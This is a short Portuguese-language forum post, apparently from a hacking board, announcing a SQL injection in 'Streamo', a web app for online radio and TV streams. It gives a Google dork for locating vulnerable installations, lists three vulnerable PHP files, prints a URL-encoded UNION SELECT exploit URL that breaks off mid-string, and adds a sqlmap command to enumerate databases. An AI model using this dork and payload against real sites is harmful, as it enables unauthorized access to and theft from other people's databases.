segurança Streamo SQL Injection

[Ishayano 5]

Streamo é um webapp que faz streams de rádio e TV online.

 

• Google Dork: inurl:rjdetails.php?id=
  
• Vulnerabilidade: SQL Injection
  

Arquivos vulneráveis:

http://localhost/[path]/menu.php

http://localhost/[path]/programs.php

http://localhost/[path]/rjdetails.php

 

Código vulnerável:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

Exploit:

http://localhost/[path]/programs.php?id=999999.9%27%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20

 

Via sqlmap:

sqlmap -u http://localhost/[path]/programs.php?id=10 --dbs